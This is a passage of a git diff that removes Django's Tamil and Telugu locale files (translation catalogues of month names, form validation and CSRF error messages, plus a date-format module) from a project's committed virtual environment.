"November" -msgstr "நவம்பர்" - -msgid "December" -msgstr "டிசம்பர்" - -msgid "jan" -msgstr "ஜன" - -msgid "feb" -msgstr "பிப்" - -msgid "mar" -msgstr "மார்" - -msgid "apr" -msgstr "ஏப்" - -msgid "may" -msgstr "மே" - -msgid "jun" -msgstr "ஜூன்" - -msgid "jul" -msgstr "ஜூலை" - -msgid "aug" -msgstr "ஆக" - -msgid "sep" -msgstr "செப்" - -msgid "oct" -msgstr "அக்" - -msgid "nov" -msgstr "நவ" - -msgid "dec" -msgstr "டிச" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "" - -msgctxt "abbrev. month" -msgid "March" -msgstr "மார்ச்" - -msgctxt "abbrev. month" -msgid "April" -msgstr "ஏப்ரல்" - -msgctxt "abbrev. month" -msgid "May" -msgstr "மே" - -msgctxt "abbrev. month" -msgid "June" -msgstr "ஜூன்" - -msgctxt "abbrev. month" -msgid "July" -msgstr "ஜூலை" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "" - -msgctxt "alt. month" -msgid "January" -msgstr "ஜனவரி" - -msgctxt "alt. month" -msgid "February" -msgstr "பிப்ரவரி" - -msgctxt "alt. month" -msgid "March" -msgstr "மார்ச்" - -msgctxt "alt. month" -msgid "April" -msgstr "ஏப்ரல்" - -msgctxt "alt. month" -msgid "May" -msgstr "மே" - -msgctxt "alt. month" -msgid "June" -msgstr "ஜூன்" - -msgctxt "alt. month" -msgid "July" -msgstr "ஜூலை" - -msgctxt "alt. month" -msgid "August" -msgstr "ஆகஸ்டு" - -msgctxt "alt. month" -msgid "September" -msgstr "செப்டம்பர்" - -msgctxt "alt. month" -msgid "October" -msgstr "அக்டோபர்" - -msgctxt "alt. month" -msgid "November" -msgstr "நவம்பர்" - -msgctxt "alt. month" -msgid "December" -msgstr "டிசம்பர்" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "" - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "" - -msgid "No day specified" -msgstr "" - -msgid "No week specified" -msgstr "" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ta/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ta/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ta/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ta/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index a9ff5cce..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ta/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ta/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ta/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 3cab6bb8..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ta/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ta/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ta/formats.py deleted file mode 100644 index d023608c..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ta/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F, Y" -TIME_FORMAT = "g:i A" -# DATETIME_FORMAT = -# YEAR_MONTH_FORMAT = -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "j M, Y" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -# DECIMAL_SEPARATOR = -# THOUSAND_SEPARATOR = -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/te/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/te/LC_MESSAGES/django.mo deleted file mode 100644 index 1366ff27..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/te/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/te/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/te/LC_MESSAGES/django.po deleted file mode 100644 index 168ffa4d..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/te/LC_MESSAGES/django.po +++ /dev/null @@ -1,1233 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# bhaskar teja yerneni , 2011 -# Claude Paroz , 2020 -# Jannis Leidel , 2011 -# ప్రవీణ్ ఇళ్ళ , 2013 -# వీవెన్ , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-19 20:23+0200\n" -"PO-Revision-Date: 2020-07-14 21:42+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Telugu (http://www.transifex.com/django/django/language/te/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: te\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "ఆఫ్రికాన్స్" - -msgid "Arabic" -msgstr "ఆరబిక్" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "అజేర్బైజని " - -msgid "Bulgarian" -msgstr "బల్గేరియన్" - -msgid "Belarusian" -msgstr "బెలారషియన్" - -msgid "Bengali" -msgstr "బెంగాలీ" - -msgid "Breton" -msgstr "బ్రిటన్" - -msgid "Bosnian" -msgstr "బోస్నియన్" - -msgid "Catalan" -msgstr "కాటలాన్" - -msgid "Czech" -msgstr "ఛెక్" - -msgid "Welsh" -msgstr "వెల్ష్" - -msgid "Danish" -msgstr "డానిష్" - -msgid "German" -msgstr "జెర్మన్" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "గ్రీక్" - -msgid "English" -msgstr "ఆంగ్లం" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "బ్రిటీష్ ఆంగ్లం" - -msgid "Esperanto" -msgstr "ఎస్పరాంటో" - -msgid "Spanish" -msgstr "స్పానిష్" - -msgid "Argentinian Spanish" -msgstr "అర్జెంటీనా స్పానిష్" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "మెక్షికన్ స్పానిష్ " - -msgid "Nicaraguan Spanish" -msgstr "" - -msgid "Venezuelan Spanish" -msgstr "వెనుజులా స్పానిష్" - -msgid "Estonian" -msgstr "ఎస్టొనియన్" - -msgid "Basque" -msgstr "బాస్క్" - -msgid "Persian" -msgstr "పారసీ" - -msgid "Finnish" -msgstr "ఫీన్నిష్" - -msgid "French" -msgstr "ఫ్రెంచ్" - -msgid "Frisian" -msgstr "ఫ్రిసియన్" - -msgid "Irish" -msgstr "ఐరిష్" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "గలిసియన్" - -msgid "Hebrew" -msgstr "హీబ్రూ" - -msgid "Hindi" -msgstr "హిందీ" - -msgid "Croatian" -msgstr "క్రొయేషియన్" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "హంగేరియన్" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "ఇంటర్లింగ్వా" - -msgid "Indonesian" -msgstr "ఇండోనేషియన్" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "ఐస్లాండిక్" - -msgid "Italian" -msgstr "ఇటాలియవ్" - -msgid "Japanese" -msgstr "జపనీ" - -msgid "Georgian" -msgstr "జార్జియన్" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "కజఖ్" - -msgid "Khmer" -msgstr "ఖ్మెర్" - -msgid "Kannada" -msgstr "కన్నడ" - -msgid "Korean" -msgstr "కొరియన్" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "లగ్జెంబర్గిష్" - -msgid "Lithuanian" -msgstr "లిథుయేనియన్" - -msgid "Latvian" -msgstr "లాత్వియన్" - -msgid "Macedonian" -msgstr "మెసిడోనియన్" - -msgid "Malayalam" -msgstr "మలయాళం" - -msgid "Mongolian" -msgstr "మంగోలియన్" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "బర్మీస్" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "నేపాలీ" - -msgid "Dutch" -msgstr "డచ్" - -msgid "Norwegian Nynorsk" -msgstr "నోర్వేగియన్ న్య్నోర్స్క్ " - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "పంజాబీ" - -msgid "Polish" -msgstr "పొలిష్" - -msgid "Portuguese" -msgstr "పోర్చుగీస్" - -msgid "Brazilian Portuguese" -msgstr "బ్రజీలియన్ పోర్చుగీస్" - -msgid "Romanian" -msgstr "రొమానియన్" - -msgid "Russian" -msgstr "రష్యన్" - -msgid "Slovak" -msgstr "స్లొవాక్" - -msgid "Slovenian" -msgstr "స్లొవానియన్" - -msgid "Albanian" -msgstr "అల్బేనియన్" - -msgid "Serbian" -msgstr "సెర్బియన్" - -msgid "Serbian Latin" -msgstr "సెర్బియన్ లాటిన్" - -msgid "Swedish" -msgstr "స్వీడిష్" - -msgid "Swahili" -msgstr "స్వాహిలి" - -msgid "Tamil" -msgstr "తమిళం" - -msgid "Telugu" -msgstr "తెలుగు" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "థాయి" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "టర్కిష్" - -msgid "Tatar" -msgstr "టటర్" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "ఉక్రేనియన్" - -msgid "Urdu" -msgstr "ఉర్దూ" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "వియెత్నామీ" - -msgid "Simplified Chinese" -msgstr "సరళ చైనీ" - -msgid "Traditional Chinese" -msgstr "సాంప్రదాయ చైనీ" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "సరైన విలువని ఇవ్వండి." - -msgid "Enter a valid URL." -msgstr "సరైన URL ఇవ్వండి." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "దయచేసి సరైన ఈమెయిల్ చిరునామాను ప్రవేశపెట్టండి." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "దయచేసి సరైన IPv4 అడ్రస్ ఇవ్వండి" - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "కామాల తో అంకెలు విడడీసి ఇవ్వండి " - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"దయచేసి దీని విలువ %(limit_value)s గ ఉండేట్లు చూసుకొనుము. ( మీరు సమర్పించిన విలువ " -"%(show_value)s )" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "దయచేసి దీని విలువ %(limit_value)s కు సమానముగా లేక తక్కువగా ఉండేట్లు చూసుకొనుము." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "దయచేసి దీని విలువ %(limit_value)s కు సమానముగా లేక ఎక్కువగా ఉండేట్లు చూసుకొనుము." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "దయచేసి పూర్ణ సంఖ్య ఇవ్వండి" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "మరియు" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "ఈ ఫీల్డ్ కాళీగా ఉందకూడడు " - -msgid "This field cannot be blank." -msgstr "ఈ ఖాళీని తప్పనిసరిగా పూరించాలి" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "బూలియన్ (అవునా లేక కాదా)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "పదబంధం (గరిష్ఠం %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "కామా తో విడడీసిన సంఖ్య" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "తేదీ (సమయం లేకుండా)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "తేది (సమయం తో)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "దశగణసంఖ్య" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "ఈమెయిలు చిరునామా" - -msgid "File path" -msgstr "ఫైల్ పాత్" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "పూర్ణసంఖ్య" - -msgid "Big (8 byte) integer" -msgstr "" - -msgid "IPv4 address" -msgstr "" - -msgid "IP address" -msgstr "ఐపీ చిరునామా" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "పాఠ్యం" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "సమయం" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "దస్త్రం" - -msgid "Image" -msgstr "బొమ్మ" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "" - -msgid "One-to-one relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "ఈ ఫీల్డ్ అవసరము" - -msgid "Enter a whole number." -msgstr "పూర్ణ సంఖ్య ఇవ్వండి" - -msgid "Enter a valid date." -msgstr "దయచేసి సరైన తేది ఇవ్వండి." - -msgid "Enter a valid time." -msgstr "దయచేసి సరైన సమయం ఇవ్వండి." - -msgid "Enter a valid date/time." -msgstr "దయచేసి సరైన తెది/సమయం ఇవ్వండి." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" - -msgid "No file was submitted." -msgstr "ఫైలు సమర్పించబడలేదు." - -msgid "The submitted file is empty." -msgstr "మీరు సమర్పించిన ఫైల్ కాళీగా ఉంది " - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" - -msgid "Enter a list of values." -msgstr "సరైన విలువల జాబితాను ఇవ్వండి." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "అంతరము" - -msgid "Delete" -msgstr "తొలగించు" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "దయచేసి %(field)s యొక్క నకలు విలువను సరిదిద్దుకోండి." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "దయచేసి %(field)s యొక్క నకలు విలువను సరిదిద్దుకోండి. దీని విలువ అద్వితీయమయినది " - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "దయచేసి క్రింద ఉన్న నకలు విలువను సరిదిద్దుకోండి." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "" - -msgid "Currently" -msgstr "ప్రస్తుతము " - -msgid "Change" -msgstr "మార్చు" - -msgid "Unknown" -msgstr "తెలియనది" - -msgid "Yes" -msgstr "అవును" - -msgid "No" -msgstr "కాదు" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "అవును,కాదు,ఏమొ" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d బైటు" -msgstr[1] "%(size)d బైట్లు" - -#, python-format -msgid "%s KB" -msgstr "%s కిబై" - -#, python-format -msgid "%s MB" -msgstr "%s మెబై" - -#, python-format -msgid "%s GB" -msgstr "%s గిబై" - -#, python-format -msgid "%s TB" -msgstr "" - -#, python-format -msgid "%s PB" -msgstr "" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "అర్ధరాత్రి" - -msgid "noon" -msgstr "మధ్యాహ్నం" - -msgid "Monday" -msgstr "సోమవారం" - -msgid "Tuesday" -msgstr "మంగళవారం" - -msgid "Wednesday" -msgstr "బుధవారం" - -msgid "Thursday" -msgstr "గురువారం" - -msgid "Friday" -msgstr "శుక్రవారం" - -msgid "Saturday" -msgstr "శనివారం" - -msgid "Sunday" -msgstr "ఆదివారం" - -msgid "Mon" -msgstr "సోమ" - -msgid "Tue" -msgstr "మంగళ" - -msgid "Wed" -msgstr "బుధ" - -msgid "Thu" -msgstr "గురు" - -msgid "Fri" -msgstr "శుక్ర" - -msgid "Sat" -msgstr "శని" - -msgid "Sun" -msgstr "ఆది" - -msgid "January" -msgstr "జనవరి" - -msgid "February" -msgstr "ఫిబ్రవరి" - -msgid "March" -msgstr "మార్చి" - -msgid "April" -msgstr "ఎప్రిల్" - -msgid "May" -msgstr "మే" - -msgid "June" -msgstr "జూన్" - -msgid "July" -msgstr "జులై" - -msgid "August" -msgstr "ఆగష్టు" - -msgid "September" -msgstr "సెప్టెంబర్" - -msgid "October" -msgstr "అక్టోబర్" - -msgid "November" -msgstr "నవంబర్" - -msgid "December" -msgstr "డిసెంబర్" - -msgid "jan" -msgstr "జన" - -msgid "feb" -msgstr "ఫిబ్ర" - -msgid "mar" -msgstr "మార్చి" - -msgid "apr" -msgstr "ఎప్రి" - -msgid "may" -msgstr "మే" - -msgid "jun" -msgstr "జూన్" - -msgid "jul" -msgstr "జూలై" - -msgid "aug" -msgstr "ఆగ" - -msgid "sep" -msgstr "సెప్టెం" - -msgid "oct" -msgstr "అక్టో" - -msgid "nov" -msgstr "నవం" - -msgid "dec" -msgstr "డిసెం" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "జన." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "ఫిబ్ర." - -msgctxt "abbrev. month" -msgid "March" -msgstr "మార్చి" - -msgctxt "abbrev. month" -msgid "April" -msgstr "ఏప్రి." - -msgctxt "abbrev. month" -msgid "May" -msgstr "మే" - -msgctxt "abbrev. month" -msgid "June" -msgstr "జూన్" - -msgctxt "abbrev. month" -msgid "July" -msgstr "జూలై" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "ఆగ." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "సెప్టెం." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "అక్టో." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "నవం." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "డిసెం." - -msgctxt "alt. month" -msgid "January" -msgstr "జనవరి" - -msgctxt "alt. month" -msgid "February" -msgstr "ఫిబ్రవరి" - -msgctxt "alt. month" -msgid "March" -msgstr "మార్చి" - -msgctxt "alt. month" -msgid "April" -msgstr "ఏప్రిల్" - -msgctxt "alt. month" -msgid "May" -msgstr "మే" - -msgctxt "alt. month" -msgid "June" -msgstr "జూన్" - -msgctxt "alt. month" -msgid "July" -msgstr "జూలై" - -msgctxt "alt. month" -msgid "August" -msgstr "ఆగస్ట్" - -msgctxt "alt. month" -msgid "September" -msgstr "సెప్టెంబర్" - -msgctxt "alt. month" -msgid "October" -msgstr "అక్టోబర్" - -msgctxt "alt. month" -msgid "November" -msgstr "నవంబర్" - -msgctxt "alt. month" -msgid "December" -msgstr "డిసెంబర్" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "లేదా" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie 